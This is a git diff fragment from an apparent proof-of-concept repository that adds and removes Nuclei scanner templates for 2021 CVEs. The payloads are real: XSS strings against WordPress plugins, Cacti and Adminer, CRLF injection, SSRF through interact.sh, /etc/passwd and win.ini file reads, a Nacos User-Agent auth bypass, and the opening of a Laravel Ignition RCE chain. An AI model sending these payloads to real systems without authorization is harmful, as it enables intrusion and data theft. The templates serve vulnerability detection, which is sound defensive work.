Scripting issues. - reference: https://nvd.nist.gov/vuln/detail/CVE-2021-24320 - tags: cve,cve2021,wordpress,xss,wp-plugin -requests: - - method: GET - path: - - '{{BaseURL}}/listing/?listing_list_view=standard13%22%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E' - matchers-condition: and - matchers: - - type: word - words: - - "" - part: body - - type: word - part: header - words: - - text/html - - type: status - status: - - 200 diff --git a/poc/cve/cve-2021-24342-5715.yaml b/poc/cve/cve-2021-24342-5715.yaml deleted file mode 100644 index 158f9e4eea..0000000000 --- a/poc/cve/cve-2021-24342-5715.yaml +++ /dev/null @@ -1,37 +0,0 @@ -id: CVE-2021-24342 -info: - name: JNews < 8.0.6 - Reflected Cross-Site Scripting (XSS) - author: pikpikcu - severity: medium - description: JNews WordPress theme before 8.0.6 did not sanitise the cat_id parameter in the POST request /?ajax-request=jnews (with action=jnews_build_mega_category_*), leading to a Reflected Cross-Site Scripting (XSS) issue. - reference: - - https://wpscan.com/vulnerability/415ca763-fe65-48cb-acd3-b375a400217e - - https://nvd.nist.gov/vuln/detail/CVE-2021-24342 - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N - cvss-score: 6.1 - cve-id: CVE-2021-24342 - cwe-id: CWE-79 - tags: cve,cve2021,wordpress,xss,wp-plugin -requests: - - raw: - - | - POST /?ajax-request=jnews HTTP/1.1 - Host: {{Hostname}} - Accept: */* - Content-Type: application/x-www-form-urlencoded - - lang=en_US&cat_id=6">&action=jnews_build_mega_category_2&number=6&tags=70%2C64%2C10%2C67 - matchers-condition: and - matchers: - - type: word - words: - - '' - part: body - - type: word - words: - - 'Content-Type: text/html' - part: header - - type: status - status: - - 200 diff --git a/poc/cve/cve-2021-24891(1).yaml b/poc/cve/cve-2021-24891(1).yaml deleted file mode 100644 index 660c2e8fab..0000000000 --- a/poc/cve/cve-2021-24891(1).yaml +++ /dev/null @@ -1,42 +0,0 @@ -id: CVE-2021-24891 -info: - name: Elementor < 3.1.4 - DOM Cross-Site-Scripting - author: dhiyaneshDk - severity: medium - description: | - The Elementor Website Builder WordPress plugin before 3.1.4 does not sanitise or escape user input appended to the DOM via a malicious hash, resulting in a DOM Cross-Site Scripting issue. - reference: - - https://www.jbelamor.com/xss-elementor-lightox.html - - https://wpscan.com/vulnerability/fbed0daa-007d-4f91-8d87-4bca7781de2d - - https://nvd.nist.gov/vuln/detail/CVE-2021-24891 - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N - cvss-score: 6.1 - cve-id: CVE-2021-24891 - cwe-id: CWE-79 - tags: cve,cve2021,dom,xss,wordpress,wp-plugin,elementor -requests: - - method: GET - path: - - "{{BaseURL}}/wp-content/plugins/elementor/assets/js/frontend.min.js" - - "{{BaseURL}}/#elementor-action:action=lightbox&settings=eyJ0eXBlIjoibnVsbCIsImh0bWwiOiI8c2NyaXB0PmFsZXJ0KCd4c3MnKTwvc2NyaXB0PiJ9" - extractors: - - type: regex - name: version - group: 1 - regex: - - "elementor[\\s-]*v(([0-3]+\\.(([0-5]+\\.[0-5]+)|[0-4]+\\.[0-9]+))|[0-2]+[0-9.]+)" - internal: true - - type: kval - kval: - - version - req-condition: true - matchers-condition: and - matchers: - - type: regex - part: body_1 - regex: - - "elementor[\\s-]*v(([0-3]+\\.(([0-5]+\\.[0-5]+)|[0-4]+\\.[0-9]+))|[0-2]+[0-9.]+)" - - type: dsl - dsl: - - compare_versions(version, '> 1.5.0', '< 3.1.4') && status_code_1 == 200 && status_code_2 == 200 diff --git a/poc/cve/cve-2021-24910(1).yaml b/poc/cve/cve-2021-24910(1).yaml deleted file mode 100644 index bd2581d33d..0000000000 --- a/poc/cve/cve-2021-24910(1).yaml +++ /dev/null @@ -1,32 +0,0 @@ -id: CVE-2021-24910 -info: - name: Transposh WordPress < 1.0.7 - Reflected Cross-Site Scripting (XSS) - author: Screamy - severity: medium - reference: - - https://www.rcesecurity.com/2022/07/WordPress-Transposh-Exploiting-a-Blind-SQL-Injection-via-XSS/ - - https://github.com/MrTuxracer/advisories/blob/master/CVEs/CVE-2021-24910.txt - - https://wpscan.com/vulnerability/b5cbebf4-5749-41a0-8be3-3333853fca17 - - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-24910 - metadata: - verified: true - tags: cve,cve2021,wordpress,wp-plugin,xss,wp -requests: - - method: GET - path: - - "{{BaseURL}}/wp-admin/admin-ajax.php?action=tp_tp&e=g&m=s&tl=en&q=" - matchers-condition: and - matchers: - - type: word - part: body - words: - - '' - - '{"result":' - condition: and - - type: word - part: header - words: - - "text/html" - - type: status - status: - - 200 diff --git a/poc/cve/cve-2021-25033(1).yaml b/poc/cve/cve-2021-25033(1).yaml deleted file mode 100644 index 5348a3bb8c..0000000000 --- a/poc/cve/cve-2021-25033(1).yaml +++ /dev/null @@ -1,27 +0,0 @@ -id: CVE-2021-25033 -info: - name: Noptin < 1.6.5 - Open Redirect - author: dhiyaneshDk - severity: medium - description: Noptin < 1.6.5 is susceptible to an open redirect vulnerability. The plugin does not validate the "to" parameter before redirecting the user to its given value, leading to an open redirect issue. - reference: - - https://wpscan.com/vulnerability/c2d2384c-41b9-4aaf-b918-c1cfda58af5c - - https://plugins.trac.wordpress.org/changeset/2639592 - - https://nvd.nist.gov/vuln/detail/CVE-2021-25033 - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N - cvss-score: 6.1 - cve-id: CVE-2021-25033 - cwe-id: CWE-601 - tags: cve,cve2021,wordpress,redirect,wp-plugin,noptin,wp -requests: - - method: GET - path: - - "{{BaseURL}}/?noptin_ns=email_click&to=https://interact.sh" - matchers: - - type: regex - part: header - regex: - - '(?m)^(?:Location\s*?:\s*?)(?:https?:\/\/|\/\/|\/\\\\|\/\\)?(?:[a-zA-Z0-9\-_\.@]*)interact\.sh\/?(\/|[^.].*)?$' # https://regex101.com/r/ZDYhFh/1 - -# Enhanced by mp on 2022/04/13 diff --git a/poc/cve/cve-2021-25063-5794.yaml b/poc/cve/cve-2021-25063-5794.yaml deleted file mode 100644 index 24d3785bdb..0000000000 --- a/poc/cve/cve-2021-25063-5794.yaml +++ /dev/null @@ -1,40 +0,0 @@ -id: CVE-2021-25063 -info: - name: Contact Form 7 Skins <= 2.5.0 - Reflected Cross-Site Scripting (XSS) - author: dhiyaneshDk - severity: medium - description: The plugin does not sanitise and escape the tab parameter before outputting it back in an admin page, leading to a Reflected Cross-Site Scripting - reference: https://wpscan.com/vulnerability/e2185887-3e53-4089-aa3f-981c944ee0bb - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N - cvss-score: 6.10 - cve-id: CVE-2021-25063 - cwe-id: CWE-79 - tags: cve,cve2021wordpress,wp-plugin,xss,contactform,authenticated -requests: - - raw: - - | - POST /wp-login.php HTTP/1.1 - Host: {{Hostname}} - Origin: {{RootURL}} - Content-Type: application/x-www-form-urlencoded - Cookie: wordpress_test_cookie=WP%20Cookie%20check - - log={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1 - - | - GET /wp-admin/admin.php?page=cf7skins&tab=%27%3E%3Cimg+src+onerror%3Dalert%28document.domain%29%3E HTTP/1.1 - Host: {{Hostname}} - cookie-reuse: true - matchers-condition: and - matchers: - - type: word - part: body - words: - - "' type='hidden" - - type: word - part: header - words: - - text/html - - type: status - status: - - 200 diff --git a/poc/cve/cve-2021-25075(1).yaml b/poc/cve/cve-2021-25075(1).yaml deleted file mode 100644 index c3af39b163..0000000000 --- a/poc/cve/cve-2021-25075(1).yaml +++ /dev/null @@ -1,53 +0,0 @@ -id: CVE-2021-25075 -info: - name: WordPress Duplicate Page or Post < 1.5.1 - Stored XSS - author: DhiyaneshDK - severity: low - description: | - The plugin does not have any authorisation and has a flawed CSRF check in the wpdevart_duplicate_post_parametrs_save_in_db AJAX action, allowing any authenticated users, such as subscriber to call it and change the plugin's settings, or perform such attack via CSRF. Furthermore, due to the lack of escaping, this could lead to Stored Cross-Site Scripting issues. - remediation: Fixed in version 1.5.1. - reference: - - https://wpscan.com/vulnerability/db5a0431-af4d-45b7-be4e-36b6c90a601b - - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-25075 - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:N/I:L/A:N - cvss-score: 3.50 - cve-id: CVE-2021-25075 - cwe-id: CWE-862 - tags: cve,cve2021,wordpress,xss,wp-plugin,authenticated -requests: - - raw: - - | - POST /wp-login.php HTTP/1.1 - Host: {{Hostname}} - Origin: {{RootURL}} - Content-Type: application/x-www-form-urlencoded - Cookie: wordpress_test_cookie=WP%20Cookie%20check - - log={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1 - - | - POST /wp-admin/admin-ajax.php?action=wprss_fetch_items_row_action HTTP/1.1 - Host: {{Hostname}} - Content-Type: application/x-www-form-urlencoded - Cookie: wordpress_test_cookie=WP%20Cookie%20check - - action=wpdevart_duplicate_post_parametrs_save_in_db&title_prefix=%22+style%3Danimation-name%3Arotation+onanimationstart%3Dalert%28%2fXSS%2f%29+p - - | - GET /wp-admin/admin.php?page=wpda_duplicate_post_menu HTTP/1.1 - Host: {{Hostname}} - cookie-reuse: true - matchers-condition: and - matchers: - - type: word - part: body - words: - - "style=animation-name:rotation onanimationstart=alert(/XSS/) p" - - "toplevel_page_wpda_duplicate_post_menu" - condition: and - - type: word - part: header - words: - - text/html - - type: status - status: - - 200 diff --git a/poc/cve/cve-2021-25085(1).yaml b/poc/cve/cve-2021-25085(1).yaml deleted file mode 100644 index 6dae7e423c..0000000000 --- a/poc/cve/cve-2021-25085(1).yaml +++ /dev/null @@ -1,37 +0,0 @@ -id: CVE-2021-25085 -info: - name: WOOF WordPress plugin - Reflected Cross-Site Scripting - author: Maximus Decimus - severity: medium - description: | - The WOOF WordPress plugin does not sanitize or escape the woof_redraw_elements parameter before reflecting it back in an admin page, leading to a reflected cross-site scripting. - reference: - - https://wpscan.com/vulnerability/b7dd81c6-6af1-4976-b928-421ca69bfa90 - - https://plugins.trac.wordpress.org/changeset/2648751 - - https://nvd.nist.gov/vuln/detail/CVE-2021-25085 - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N - cvss-score: 6.1 - cve-id: CVE-2021-25085 - metadata: - verified: true - tags: cve,cve2021,wordpress,wp-plugin,wp,xss -requests: - - method: GET - path: - - "{{BaseURL}}/wp-admin/admin-ajax.php?action=woof_draw_products&woof_redraw_elements[]=" - matchers-condition: and - matchers: - - type: word - part: body - words: - - '"additional_fields":[""]}' - - type: word - part: header - words: - - text/html - - type: status - status: - - 200 - -# Enhanced by cs 06/21/2022 diff --git a/poc/cve/cve-2021-25118(1).yaml b/poc/cve/cve-2021-25118(1).yaml new file mode 100644 index 0000000000..f037f16c59 --- /dev/null +++ b/poc/cve/cve-2021-25118(1).yaml @@ -0,0 +1,39 @@ +id: CVE-2021-25118 +info: + name: Yoast SEO < 17.3 - Path Disclosure + author: DhiyaneshDK + severity: medium + description: The plugin discloses the full internal path of featured images in posts via the wp/v2/posts REST endpoints which could help an attacker identify other vulnerabilities or help during the exploitation of other identified vulnerabilities. + reference: + - https://wpscan.com/vulnerability/2c3f9038-632d-40ef-a099-6ea202efb550 + - https://nvd.nist.gov/vuln/detail/CVE-2021-25118 + - https://plugins.trac.wordpress.org/changeset/2608691 + remediation: Fixed in version 17.3 + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N + cvss-score: 5.3 + cve-id: CVE-2021-25118 + cwe-id: CWE-200 + tags: wordpress,cve2021,wp-plugin,fpd,cve,wp +requests: + - method: GET + path: + - "{{BaseURL}}/wp-json/wp/v2/posts?per_page=1" + matchers-condition: and + matchers: + - type: regex + regex: + - '"path":"(.*)/wp-content\\(.*)","size' + - type: word + part: header + words: + - "application/json" + - type: status + status: + - 200 + extractors: + - type: regex + part: body + group: 1 + regex: + - '"path":"(.*)/wp-content\\(.*)","size' diff --git a/poc/cve/cve-2021-25120(1).yaml b/poc/cve/cve-2021-25120(1).yaml new file mode 100644 index 0000000000..62a8c9e125 --- /dev/null +++ b/poc/cve/cve-2021-25120(1).yaml @@ -0,0 +1,45 @@ +id: CVE-2021-25120 +info: + name: Easy Social Feed < 6.2.7 - Cross-Site Scripting + author: dhiyaneshDk + severity: medium + description: Easy Social Feed < 6.2.7 is susceptible to reflected cross-site scripting because the plugin does not sanitize and escape a parameter before outputting it back in an admin dashboard page, leading to it being executed in the context of a logged admin or editor. + reference: + - https://wpscan.com/vulnerability/6dd00198-ef9b-4913-9494-e08a95e7f9a0 + - https://www.cvedetails.com/cve/CVE-2021-25120/ + - https://wpscan.com/vulnerability/0ad020b5-0d16-4521-8ea7-39cd206ab9f6 + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N + cvss-score: 6.1 + cve-id: CVE-2021-25120 + cwe-id: CWE-79 + tags: cve,cve2021,wordpress,wp-plugin,xss,authenticated +requests: + - raw: + - | + POST /wp-login.php HTTP/1.1 + Host: {{Hostname}} + Origin: {{RootURL}} + Content-Type: application/x-www-form-urlencoded + Cookie: wordpress_test_cookie=WP%20Cookie%20check + + log={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1 + - | + GET /wp-admin/admin.php?page=easy-facebook-likebox&access_token=a&type= HTTP/1.1 + Host: {{Hostname}} + cookie-reuse: true + matchers-condition: and + matchers: + - type: word + part: body + words: + - "'type' : ''" + - type: word + part: header + words: + - text/html + - type: status + status: + - 200 + +# Enhanced by mp on 2022/04/21 diff --git a/poc/cve/cve-2021-26247-5852.yaml b/poc/cve/cve-2021-26247-5852.yaml new file mode 100644 index 0000000000..c55a293b99 --- /dev/null +++ b/poc/cve/cve-2021-26247-5852.yaml @@ -0,0 +1,32 @@ +id: CVE-2021-26247 +info: + name: Unauthenticated XSS Cacti - auth_changepassword.php + author: dhiyaneshDK + severity: medium + description: As an unauthenticated remote user, visit "http:///auth_changepassword.php?ref=" to successfully execute the JavaScript payload present in the "ref" URL parameter. + reference: + - https://nvd.nist.gov/vuln/detail/CVE-2021-26247 + - https://www.cacti.net/info/changelog + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N + cvss-score: 6.1 + cve-id: CVE-2021-26247 + cwe-id: CWE-79 + tags: cve,cve2021,cacti,xss +requests: + - method: GET + path: + - '{{BaseURL}}/auth_changepassword.php?ref=%22%3E%3C%2Fscript%3E%3Cscript%3Ealert(document.domain)%3C%2Fscript%3E' + matchers-condition: and + matchers: + - type: word + part: body + words: + - '">' + - type: word + part: header + words: + - "text/html" + - type: status + status: + - 200 diff --git a/poc/cve/cve-2021-26475-5863.yaml b/poc/cve/cve-2021-26475-5863.yaml deleted file mode 100644 index 197a0e35f5..0000000000 --- a/poc/cve/cve-2021-26475-5863.yaml +++ /dev/null @@ -1,29 +0,0 @@ -id: CVE-2021-26475 - -info: - name: EPrints 3.4.2 XSS - author: geeknik - description: EPrints 3.4.2 exposes a reflected XSS opportunity in the via a cgi/cal URI. - reference: https://github.com/grymer/CVE/blob/master/eprints_security_review.pdf - severity: medium - tags: cve,cve2021,xss,eprints - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N - cvss-score: 6.10 - cve-id: CVE-2021-26475 - cwe-id: CWE-79 - -requests: - - method: GET - path: - - "{{BaseURL}}/cgi/cal?year=2021%3C/title%3E%3Cscript%3Ealert(%27{{randstr}}%27)%3C/script%3E" - - matchers-condition: and - matchers: - - type: word - words: - - "" - - type: word - part: header - words: - - "text/html" diff --git a/poc/cve/cve-2021-27132.yaml b/poc/cve/cve-2021-27132.yaml new file mode 100644 index 0000000000..0df5712756 --- /dev/null +++ b/poc/cve/cve-2021-27132.yaml @@ -0,0 +1,48 @@ +id: CVE-2021-27132 + +info: + name: Sercomm VD625 Smart Modems - CRLF Injection + author: geeknik + severity: critical + description: Sercomm AGCOMBO VD625 Smart Modems with firmware version AGSOT_2.1.0 are vulnerable to Carriage Return Line Feed (CRLF) injection via the Content-Disposition header. + remediation: | + Apply the latest firmware update provided by the vendor to mitigate this vulnerability. + reference: + - https://cybertuz.com/blog/post/crlf-injection-CVE-2021-27132 + - http://sercomm.com + - https://nvd.nist.gov/vuln/detail/CVE-2021-27132 + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H + cvss-score: 9.8 + cve-id: CVE-2021-27132 + cwe-id: CWE-74 + epss-score: 0.03071 + epss-percentile: 0.8995 + cpe: cpe:2.3:o:sercomm:agcombo_vd625_firmware:agsot_2.1.0:*:*:*:*:*:*:* + metadata: + max-request: 1 + vendor: sercomm + product: agcombo_vd625_firmware + tags: cve,cve2021,crlf,injection + +http: + - method: GET + path: + - "{{BaseURL}}/test.txt%0d%0aSet-Cookie:CRLFInjection=Test%0d%0aLocation:%20interact.sh%0d%0aX-XSS-Protection:0" + + matchers-condition: and + matchers: + - type: word + part: header + words: + - "Content-Disposition: attachment;filename=test.txt" + - "Set-Cookie:CRLFInjection=Test" + - "Location: interact.sh" + - "X-XSS-Protection:0" + condition: and + + - type: status + part: header + status: + - 404 +# digest: 4b0a00483046022100eb60be3210a190d522cdcde79f6fd24504a75aac963cf6d4c763cbb59af66eb0022100cdf3e13bd927d7a57e565adbbf5cb4ced514e26b189054c20ec75aab268fae28:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/poc/cve/cve-2021-27310-5900.yaml b/poc/cve/cve-2021-27310-5900.yaml new file mode 100644 index 0000000000..71c24b8174 --- /dev/null +++ b/poc/cve/cve-2021-27310-5900.yaml @@ -0,0 +1,32 @@ +id: CVE-2021-27310 +info: + name: Clansphere CMS 2011.4 - Reflected Cross-Site Scripting (XSS) + author: alph4byt3 + severity: medium + description: Clansphere CMS 2011.4 allows unauthenticated reflected XSS via "language" parameter. + reference: + - https://github.com/xoffense/POC/blob/main/Clansphere%202011.4%20%22language%22%20xss.md + - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-27310 + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N + cvss-score: 6.1 + cve-id: CVE-2021-27310 + cwe-id: CWE-79 + tags: xss,cve,cve2021,clansphere +requests: + - method: GET + path: + - '{{BaseURL}}/clansphere/mods/clansphere/lang_modvalidate.php?language=language%27%22()%26%25%3Cyes%3E%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E&module=module' + matchers-condition: and + matchers: + - type: word + part: body + words: + - "" + - type: word + part: header + words: + - text/html + - type: status + status: + - 200 diff --git a/poc/cve/cve-2021-27748(1).yaml b/poc/cve/cve-2021-27748(1).yaml new file mode 100644 index 0000000000..23f9aef7c7 --- /dev/null +++ b/poc/cve/cve-2021-27748(1).yaml @@ -0,0 +1,33 @@ +id: CVE-2021-27748 +info: + name: IBM WebSphere HCL Digital Experience - Server-Side Request Forgery + author: pdteam + severity: high + description: | + IBM WebSphere HCL Digital Experience is susceptible to server-side request forgery vulnerability that impacts on-premise deployments and containers. + reference: + - https://blog.assetnote.io/2021/12/26/chained-ssrf-websphere/ + - https://support.hcltechsw.com/csm?id=kb_article&sysparm_article=KB0095665 + - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-27748 + classification: + cve-id: CVE-2021-27748 + metadata: + verified: true + shodan-query: http.html:"IBM WebSphere Portal" + tags: cve,cve2021,hcl,ibm,ssrf,websphere +requests: + - method: GET + path: + - '{{BaseURL}}/docpicker/internal_proxy/http/interact.sh' + - '{{BaseURL}}/wps/PA_WCM_Authoring_UI/proxy/http/interact.sh' + redirects: true + max-redirects: 2 + stop-at-first-match: true + matchers-condition: and + matchers: + - type: word + words: + - "Interactsh Server" + - type: status + status: + - 200 diff --git a/poc/cve/cve-2021-28918-5975.yaml b/poc/cve/cve-2021-28918-5975.yaml deleted file mode 100644 index a28e3035b4..0000000000 --- a/poc/cve/cve-2021-28918-5975.yaml +++ /dev/null @@ -1,37 +0,0 @@ -id: CVE-2021-28918 -info: - name: Netmask NPM Package - Server-Side Request Forgery - author: johnjhacking - severity: critical - description: Netmask NPM Package is susceptible to server-side request forgery because of improper input validation of octal strings in netmask npm package. This allows unauthenticated remote attackers to perform indeterminate SSRF, remote file inclusion, and local file inclusion attacks on many of the dependent packages. A remote unauthenticated attacker can bypass packages relying on netmask to filter IPs and reach critical VPN or LAN hosts. - reference: - - https://github.com/sickcodes/security/blob/master/advisories/SICK-2021-011.md - - https://github.com/advisories/GHSA-pch5-whg9-qr2r - - https://nvd.nist.gov/vuln/detail/CVE-2021-28918 - - https://github.com/rs/node-netmask - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N - cvss-score: 9.1 - cve-id: CVE-2021-28918 - cwe-id: CWE-20 - tags: cve,cve2021,npm,netmask,ssrf,lfi -requests: - - method: GET - path: - - "{{BaseURL}}/?url=http://0177.0.0.1/server-status" - - "{{BaseURL}}/?host=http://0177.0.0.1/server-status" - - "{{BaseURL}}/?file=http://0177.0.0.1/etc/passwd" - stop-at-first-match: true - matchers-condition: or - matchers: - - type: word - part: body - words: - - "Apache Server Status" - - "Server Version" - condition: and - - type: regex - regex: - - "root:.*:0:0:" - -# Enhanced by mp on 2022/05/17 diff --git a/poc/cve/cve-2021-29441-5993.yaml b/poc/cve/cve-2021-29441-5993.yaml deleted file mode 100644 index 4b252eb51c..0000000000 --- a/poc/cve/cve-2021-29441-5993.yaml +++ /dev/null @@ -1,54 +0,0 @@ -id: CVE-2021-29441 -info: - name: Nacos <1.4.1 - Authentication Bypass - author: dwisiswant0 - severity: critical - description: | - This template only works on Nuclei engine prior to version 2.3.3 and version >= 2.3.5. - - In Nacos before version 1.4.1, when configured to use authentication (-Dnacos.core.auth.enabled=true) - Nacos uses the AuthFilter servlet filter to enforce authentication. This filter has a backdoor that - enables Nacos servers to bypass this filter and therefore skip authentication checks. - This mechanism relies on the user-agent HTTP header so it can be easily spoofed. - This issue may allow any user to carry out any administrative tasks on the Nacos server. - reference: - - https://securitylab.github.com/advisories/GHSL-2020-325_326-nacos/ - - https://github.com/alibaba/nacos/issues/4701 - - https://github.com/advisories/GHSA-36hp-jr8h-556f - - https://github.com/alibaba/nacos/pull/4703 - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - cvss-score: 9.8 - cve-id: CVE-2021-29441 - cwe-id: CWE-290 - tags: nacos,auth-bypass,cve,cve2021 -requests: - - raw: - - | - POST /nacos/v1/cs/configs?dataId=nacos.cfg.dataIdfoo&group=foo&content=helloWorld HTTP/1.1 - Host: {{Hostname}} - Accept: */* - - | - POST /nacos/v1/cs/configs?dataId=nacos.cfg.dataIdfoo&group=foo&content=helloWorld HTTP/1.1 - Host: {{Hostname}} - Accept: */* - User-Agent: Nacos-Server - req-condition: true - matchers-condition: and - matchers: - - type: dsl - dsl: - - "status_code_1 == 403" - - "status_code_2 == 200" - condition: and - - type: dsl - dsl: - - "contains(body_1, 'Forbidden')" - - "body_2 == 'true'" - condition: and - - type: word - words: - - "application/json" - part: header - -# Enhanced by mp on 2022/05/17 diff --git a/poc/cve/cve-2021-29622.yaml b/poc/cve/cve-2021-29622.yaml deleted file mode 100644 index 2c7ddc4b80..0000000000 --- a/poc/cve/cve-2021-29622.yaml +++ /dev/null @@ -1,38 +0,0 @@ -id: CVE-2021-29622 - -info: - name: Prometheus - Open Redirect - author: geeknik - severity: medium - description: Prometheus 2.23.0 through 2.26.0 and 2.27.0 contains an open redirect vulnerability. To ensure a seamless transition to 2.27.0, the default UI was changed to the new UI with a URL prefixed by /new redirect to /. Due to a bug in the code, an attacker can redirect a user to a malicious site and possibly obtain sensitive information, modify data, and/or execute unauthorized operations. - remediation: The issue was patched in the 2.26.1 and 2.27.1 releases. In 2.28.0, the /new endpoint will be removed completely. The workaround is to disable access to /new via a reverse proxy in front of Prometheus. - reference: - - https://github.com/prometheus/prometheus/security/advisories/GHSA-vx57-7f4q-fpc7 - - https://github.com/prometheus/prometheus/releases/tag/v2.26.1 - - https://github.com/prometheus/prometheus/releases/tag/v2.27.1 - - https://nvd.nist.gov/vuln/detail/CVE-2021-29622 - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N - cvss-score: 6.1 - cve-id: CVE-2021-29622 - cwe-id: CWE-601 - epss-score: 0.00225 - epss-percentile: 0.60673 - cpe: cpe:2.3:a:prometheus:prometheus:*:*:*:*:*:*:*:* - metadata: - max-request: 1 - vendor: prometheus - product: prometheus - tags: cve,cve2021,prometheus,redirect - -http: - - method: GET - path: - - "{{BaseURL}}/new/newhttp://interact.sh" - - matchers: - - type: regex - part: header - regex: - - '(?m)^(?:Location\s*?:\s*?)(?:https?://|//)?(?:[a-zA-Z0-9\-_\.@]*)interact\.sh.*$' -# digest: 4b0a00483046022100d75f4c5133606b067f8cabdb444b368dbf5da4507c4fae4e6cca9f7d2ba05b76022100d8a2030d157148b3638b0070fd6d6e8a3a38484d4666f0497a069ca8d47435ee:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/poc/cve/cve-2021-29625-6023.yaml b/poc/cve/cve-2021-29625-6023.yaml new file mode 100644 index 0000000000..d5e3bd655d --- /dev/null +++ b/poc/cve/cve-2021-29625-6023.yaml @@ -0,0 +1,37 @@ +id: CVE-2021-29625 + +info: + name: Adminer reflected XSS via the table parameter + author: daffainfo + description: Adminer is open-source database management software. A cross-site scripting vulnerability in Adminer versions 4.6.1 to 4.8.0 affects users of MySQL, MariaDB, PgSQL and SQLite. XSS is in most cases prevented by strict CSP in all modern browsers. The only exception is when Adminer is using a `pdo_` extension to communicate with the database (it is used if the native extensions are not enabled). In browsers without CSP, Adminer versions 4.6.1 to 4.8.0 are affected. The vulnerability is patched in version 4.8.1. As workarounds, one can use a browser supporting strict CSP or enable the native PHP extensions (e.g. `mysqli`) or disable displaying PHP errors (`display_errors`). + severity: medium + reference: + - https://sourceforge.net/p/adminer/bugs-and-features/797/ + - https://www.cvedetails.com/cve/CVE-2021-29625/ + tags: cve,cve2021,adminer,xss + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N + cvss-score: 6.10 + cve-id: CVE-2021-29625 + cwe-id: CWE-79 + +requests: + - method: GET + path: + - '{{BaseURL}}/?server=db&username=root&db=mysql&table=event%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E' + + matchers-condition: and + matchers: + - type: word + words: + - "" + part: body + + - type: word + words: + - "text/html" + part: header + + - type: status + status: + - 200 diff --git a/poc/cve/cve-2021-30497-6062.yaml b/poc/cve/cve-2021-30497-6062.yaml deleted file mode 100644 index 923a735cd4..0000000000 --- a/poc/cve/cve-2021-30497-6062.yaml +++ /dev/null @@ -1,21 +0,0 @@ -id: CVE-2021-30497 -info: - name: Ivanti Avalanche Directory Traversal - author: gy741 - severity: high - description: A directory traversal vulnerability in Ivanti Avalanche allows remote unauthenticated user to access files that reside outside the 'image' folder - reference: https://ssd-disclosure.com/ssd-advisory-ivanti-avalanche-directory-traversal/ - tags: cve,cve2021,avalanche,traversal -requests: - - method: GET - path: - - "{{BaseURL}}/AvalancheWeb/image?imageFilePath=C:/windows/win.ini" - matchers-condition: and - matchers: - - type: word - part: body - words: - - "for 16-bit app support" - - type: status - status: - - 200 diff --git a/poc/cve/cve-2021-3129.yaml b/poc/cve/cve-2021-3129.yaml deleted file mode 100644 index 519231a58e..0000000000 --- a/poc/cve/cve-2021-3129.yaml +++ /dev/null @@ -1,94 +0,0 @@ -id: CVE-2021-3129 - -info: - name: Laravel with Ignition <= v8.4.2 Debug Mode - Remote Code Execution - author: z3bd,pdteam - severity: critical - description: Laravel version 8.4.2 and before with Ignition before 2.5.2 allows unauthenticated remote attackers to execute arbitrary code because of insecure usage of file_get_contents() and file_put_contents(). This is exploitable on sites using debug mode with Laravel before 8.4.2. - remediation: | - Upgrade Laravel to version 8.4.3 or higher to mitigate this vulnerability. - reference: - - https://www.ambionics.io/blog/laravel-debug-rce - - https://github.com/vulhub/vulhub/tree/master/laravel/CVE-2021-3129 - - https://nvd.nist.gov/vuln/detail/CVE-2021-3129 - - https://github.com/facade/ignition/pull/334 - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - cvss-score: 9.8 - cve-id: CVE-2021-3129 - epss-score: 0.97488 - epss-percentile: 0.9997 - cpe: cpe:2.3:a:facade:ignition:*:*:*:*:*:laravel:*:* - metadata: - max-request: 6 - vendor: facade - product: ignition - framework: laravel - tags: cve,cve2021,laravel,rce,vulhub,kev - -http: - - raw: - - | - POST /_ignition/execute-solution HTTP/1.1 - Host: {{Hostname}} - Accept: application/json - Content-Type: application/json - - {"solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution", "parameters": {"variableName": "cve20213129", "viewFile": "php://filter/write=convert.iconv.utf-8.utf-16be|convert.quoted-printable-encode|convert.iconv.utf-16be.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log"}} - - | - POST /_ignition/execute-solution HTTP/1.1 - Host: {{Hostname}} - Accept: application/json - Content-Type: 